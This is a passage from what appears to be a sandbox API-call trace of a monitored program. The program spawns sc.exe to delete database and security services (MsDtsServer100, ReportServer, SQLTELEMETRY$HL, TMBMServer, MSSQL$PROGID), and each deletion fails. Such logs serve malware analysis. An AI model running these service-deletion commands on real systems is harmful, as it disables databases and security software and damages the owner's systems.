(_String1="delete", _String2="qtriggerinfo") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.380] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.380] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.380] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.380] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x4143f0 [0076.384] OpenServiceW (hSCManager=0x4143f0, lpServiceName="MSSQLServerOLAPService", dwDesiredAccess=0x10000) returned 0x0 [0076.384] GetLastError () returned 0x424 [0076.385] _itow (in: _Dest=0x424, _Radix=2292280 | out: _Dest=0x424) returned="1060" [0076.385] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff5cb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.386] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f9f0, nSize=0x2, Arguments=0x22fa20 | out: lpBuffer="跐A") returned 0x62 [0076.387] GetFileType (hFile=0x120) returned 0x3 [0076.387] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x418eb0 [0076.387] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x418eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nA", lpUsedDefaultChar=0x0) returned 98 [0076.387] WriteFile (in: hFile=0x120, lpBuffer=0x418eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f998, lpOverlapped=0x0 | out: lpBuffer=0x418eb0*, lpNumberOfBytesWritten=0x22f998*=0x62, lpOverlapped=0x0) returned 1 [0076.387] LocalFree (hMem=0x418eb0) returned 0x0 [0076.387] LocalFree (hMem=0x418dd0) returned 0x0 [0076.387] LocalFree (hMem=0x0) returned 0x0 [0076.387] CloseServiceHandle (hSCObject=0x4143f0) returned 1 [0076.390] exit (_Code=1060) Thread: id = 51 os_tid = 0xaec Process: id = "26" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46c81000" os_pid = "0xb60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete MsDtsServer100" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0xbb4 [0076.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafe70 | out: lpSystemTimeAsFileTime=0xafe70*(dwLowDateTime=0x370da3b0, dwHighDateTime=0x1d62786)) [0076.546] GetCurrentProcessId () returned 0xb60 [0076.546] GetCurrentThreadId () returned 0xbb4 [0076.546] GetTickCount () returned 0x114937a [0076.546] QueryPerformanceCounter (in: lpPerformanceCount=0xafe78 | out: lpPerformanceCount=0xafe78*=19642001037) returned 1 [0076.547] GetModuleHandleW (lpModuleName=0x0) returned 0xffc80000 [0076.548] __set_app_type (_Type=0x1) [0076.548] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc87228) returned 0x0 [0076.548] __wgetmainargs (in: _Argc=0xffc8b604, _Argv=0xffc8b610, _Env=0xffc8b608, _DoWildCard=0, _StartInfo=0xffc8b050 | out: _Argc=0xffc8b604, _Argv=0xffc8b610, _Env=0xffc8b608) returned 0 [0076.548] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.550] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.550] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.550] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.550] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.550] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.551] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.551] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.551] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.551] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.551] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.551] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.551] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.551] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.551] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.551] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.551] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.551] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.551] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.551] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.551] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.551] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.551] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.551] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2143d0 [0076.555] OpenServiceW (hSCManager=0x2143d0, lpServiceName="MsDtsServer100", dwDesiredAccess=0x10000) returned 0x0 [0076.555] GetLastError () returned 0x424 [0076.555] _itow (in: _Dest=0x424, _Radix=720088 | out: _Dest=0x424) returned="1060" [0076.555] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffc8b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.557] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xafc90, nSize=0x2, Arguments=0xafcc0 | out: lpBuffer="趰!") returned 0x62 [0076.557] GetFileType (hFile=0x120) returned 0x3 [0076.557] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x218e90 [0076.557] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x218e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n!", lpUsedDefaultChar=0x0) returned 98 [0076.557] WriteFile (in: hFile=0x120, lpBuffer=0x218e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xafc38, lpOverlapped=0x0 | out: lpBuffer=0x218e90*, lpNumberOfBytesWritten=0xafc38*=0x62, lpOverlapped=0x0) returned 1 [0076.557] LocalFree (hMem=0x218e90) returned 0x0 [0076.557] LocalFree (hMem=0x218db0) returned 0x0 [0076.557] LocalFree (hMem=0x0) returned 0x0 [0076.557] CloseServiceHandle (hSCObject=0x2143d0) returned 1 [0076.559] exit (_Code=1060) Thread: id = 53 os_tid = 0xbbc Process: id = "27" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x45586000" os_pid = "0xac8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete ReportServer" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 54 os_tid = 0xae4 [0076.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26fc10 | out: lpSystemTimeAsFileTime=0x26fc10*(dwLowDateTime=0x37172930, dwHighDateTime=0x1d62786)) [0076.607] GetCurrentProcessId () returned 0xac8 [0076.607] GetCurrentThreadId () returned 0xae4 [0076.607] GetTickCount () returned 0x11493b8 [0076.607] QueryPerformanceCounter (in: lpPerformanceCount=0x26fc18 | out: lpPerformanceCount=0x26fc18*=19648113023) returned 1 [0076.608] GetModuleHandleW (lpModuleName=0x0) returned 0xff770000 [0076.609] __set_app_type (_Type=0x1) [0076.609] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff777228) returned 0x0 [0076.609] __wgetmainargs (in: _Argc=0xff77b604, _Argv=0xff77b610, _Env=0xff77b608, _DoWildCard=0, _StartInfo=0xff77b050 | out: _Argc=0xff77b604, _Argv=0xff77b610, _Env=0xff77b608) returned 0 [0076.609] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.611] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.611] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.611] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.611] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.611] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.611] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.611] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.611] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.611] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.611] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.611] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.611] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.612] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.612] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.612] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.612] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.612] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.612] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.612] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.612] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.612] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.612] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.612] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.612] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x394370 [0076.616] OpenServiceW (hSCManager=0x394370, lpServiceName="ReportServer", dwDesiredAccess=0x10000) returned 0x0 [0076.616] GetLastError () returned 0x424 [0076.616] _itow (in: _Dest=0x424, _Radix=2554488 | out: _Dest=0x424) returned="1060" [0076.617] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff77b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.618] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26fa30, nSize=0x2, Arguments=0x26fa60 | out: lpBuffer="跀9") returned 0x62 [0076.619] GetFileType (hFile=0x120) returned 0x3 [0076.619] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x398ea0 [0076.619] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x398ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n9", lpUsedDefaultChar=0x0) returned 98 [0076.619] WriteFile (in: hFile=0x120, lpBuffer=0x398ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26f9d8, lpOverlapped=0x0 | out: lpBuffer=0x398ea0*, lpNumberOfBytesWritten=0x26f9d8*=0x62, lpOverlapped=0x0) returned 1 [0076.619] LocalFree (hMem=0x398ea0) returned 0x0 [0076.619] LocalFree (hMem=0x398dc0) returned 0x0 [0076.619] LocalFree (hMem=0x0) returned 0x0 [0076.619] CloseServiceHandle (hSCObject=0x394370) returned 1 [0076.621] exit (_Code=1060) Thread: id = 55 os_tid = 0xb10 Process: id = "28" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x4668b000" os_pid = "0xb14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"SQLTELEMETRY$HL\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0xa24 [0076.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xafd90 | out: lpSystemTimeAsFileTime=0xafd90*(dwLowDateTime=0x3720aeb0, dwHighDateTime=0x1d62786)) [0076.676] GetCurrentProcessId () returned 0xb14 [0076.676] GetCurrentThreadId () returned 0xa24 [0076.676] GetTickCount () returned 0x11493f6 [0076.676] QueryPerformanceCounter (in: lpPerformanceCount=0xafd98 | out: lpPerformanceCount=0xafd98*=19654934404) returned 1 [0076.678] GetModuleHandleW (lpModuleName=0x0) returned 0xff440000 [0076.678] __set_app_type (_Type=0x1) [0076.679] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff447228) returned 0x0 [0076.679] __wgetmainargs (in: _Argc=0xff44b604, _Argv=0xff44b610, _Env=0xff44b608, _DoWildCard=0, _StartInfo=0xff44b050 | out: _Argc=0xff44b604, _Argv=0xff44b610, _Env=0xff44b608) returned 0 [0076.680] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.683] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.683] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.683] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.683] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.683] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.683] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.683] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.683] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.683] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.683] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.683] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.683] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.683] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.683] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.683] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.683] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.683] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.683] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.683] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.683] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.683] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.683] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.683] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.683] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.684] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.684] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.684] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.684] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.684] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.684] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.684] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.684] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2543e0 [0076.688] OpenServiceW (hSCManager=0x2543e0, lpServiceName="SQLTELEMETRY$HL", dwDesiredAccess=0x10000) returned 0x0 [0076.689] GetLastError () returned 0x424 [0076.689] _itow (in: _Dest=0x424, _Radix=719864 | out: _Dest=0x424) returned="1060" [0076.689] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff44b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.691] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xafbb0, nSize=0x2, Arguments=0xafbe0 | out: lpBuffer="跀%") returned 0x62 [0076.692] GetFileType (hFile=0x120) returned 0x3 [0076.692] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x258ea0 [0076.692] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x258ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n%", lpUsedDefaultChar=0x0) returned 98 [0076.692] WriteFile (in: hFile=0x120, lpBuffer=0x258ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xafb58, lpOverlapped=0x0 | out: lpBuffer=0x258ea0*, lpNumberOfBytesWritten=0xafb58*=0x62, lpOverlapped=0x0) returned 1 [0076.692] LocalFree (hMem=0x258ea0) returned 0x0 [0076.692] LocalFree (hMem=0x258dc0) returned 0x0 [0076.692] LocalFree (hMem=0x0) returned 0x0 [0076.692] CloseServiceHandle (hSCObject=0x2543e0) returned 1 [0076.694] exit (_Code=1060) Thread: id = 57 os_tid = 0xa28 Process: id = "29" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46390000" os_pid = "0x7c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete TMBMServer" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0x7dc [0076.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfad0 | out: lpSystemTimeAsFileTime=0xcfad0*(dwLowDateTime=0x372c9590, dwHighDateTime=0x1d62786)) [0076.754] GetCurrentProcessId () returned 0x7c0 [0076.754] GetCurrentThreadId () returned 0x7dc [0076.755] GetTickCount () returned 0x1149444 [0076.755] QueryPerformanceCounter (in: lpPerformanceCount=0xcfad8 | out: lpPerformanceCount=0xcfad8*=19662823935) returned 1 [0076.756] GetModuleHandleW (lpModuleName=0x0) returned 0xffad0000 [0076.756] __set_app_type (_Type=0x1) [0076.756] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffad7228) returned 0x0 [0076.756] __wgetmainargs (in: _Argc=0xffadb604, _Argv=0xffadb610, _Env=0xffadb608, _DoWildCard=0, _StartInfo=0xffadb050 | out: _Argc=0xffadb604, _Argv=0xffadb610, _Env=0xffadb608) returned 0 [0076.757] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.758] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.758] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0076.758] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0076.759] _wcsicmp (_String1="delete", _String2="query") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="start") returned -15 [0076.759] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0076.759] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0076.759] _wcsicmp (_String1="delete", _String2="control") returned 1 [0076.759] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0076.759] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0076.759] _wcsicmp (_String1="delete", _String2="config") returned 1 [0076.759] _wcsicmp (_String1="delete", _String2="description") returned -7 [0076.759] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0076.759] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0076.759] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0076.759] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0076.759] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0076.759] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0076.759] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0076.759] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0076.759] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0076.760] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0076.760] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0076.760] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x234370 [0076.764] OpenServiceW (hSCManager=0x234370, lpServiceName="TMBMServer", dwDesiredAccess=0x10000) returned 0x0 [0076.764] GetLastError () returned 0x424 [0076.764] _itow (in: _Dest=0x424, _Radix=850232 | out: _Dest=0x424) returned="1060" [0076.764] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffadb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0076.766] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf8f0, nSize=0x2, Arguments=0xcf920 | out: lpBuffer="跀#") returned 0x62 [0076.766] GetFileType (hFile=0x120) returned 0x3 [0076.766] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x238ea0 [0076.766] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x238ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n#", lpUsedDefaultChar=0x0) returned 98 [0076.766] WriteFile (in: hFile=0x120, lpBuffer=0x238ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf898, lpOverlapped=0x0 | out: lpBuffer=0x238ea0*, lpNumberOfBytesWritten=0xcf898*=0x62, lpOverlapped=0x0) returned 1 [0076.766] LocalFree (hMem=0x238ea0) returned 0x0 [0076.766] LocalFree (hMem=0x238dc0) returned 0x0 [0076.766] LocalFree (hMem=0x0) returned 0x0 [0076.767] CloseServiceHandle (hSCObject=0x234370) returned 1 [0076.768] exit (_Code=1060) Thread: id = 59 os_tid = 0x618 Process: id = "30" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46395000" os_pid = "0x208" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete \"MSSQL$PROGID\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 60 os_tid = 0xa38 [0076.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xaf830 | out: lpSystemTimeAsFileTime=0xaf830*(dwLowDateTime=0x37387c70, dwHighDateTime=0x1d62786)) [0076.832] GetCurrentProcessId () returned 0x208 [0076.832] GetCurrentThreadId () returned 0xa38 [0076.832] GetTickCount () returned 0x1149492 [0076.832] QueryPerformanceCounter (in: lpPerformanceCount=0xaf838 | out: lpPerformanceCount=0xaf838*=19670569144) returned 1 [0076.834] GetModuleHandleW (lpModuleName=0x0) returned 0xff2f0000 [0076.835] __set_app_type (_Type=0x1) [0076.835] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2f7228) returned 0x0 [0076.836] __wgetmainargs (in: _Argc=0xff2fb604, _Argv=0xff2fb610, _Env=0xff2fb608, _DoWildCard=0, _StartInfo=0xff2fb050 | out: _Argc=0xff2fb604, _Argv=0xff2fb610, _Env=0xff2fb608) returned 0 [0076.837] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.848] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.848] GetStdHandle 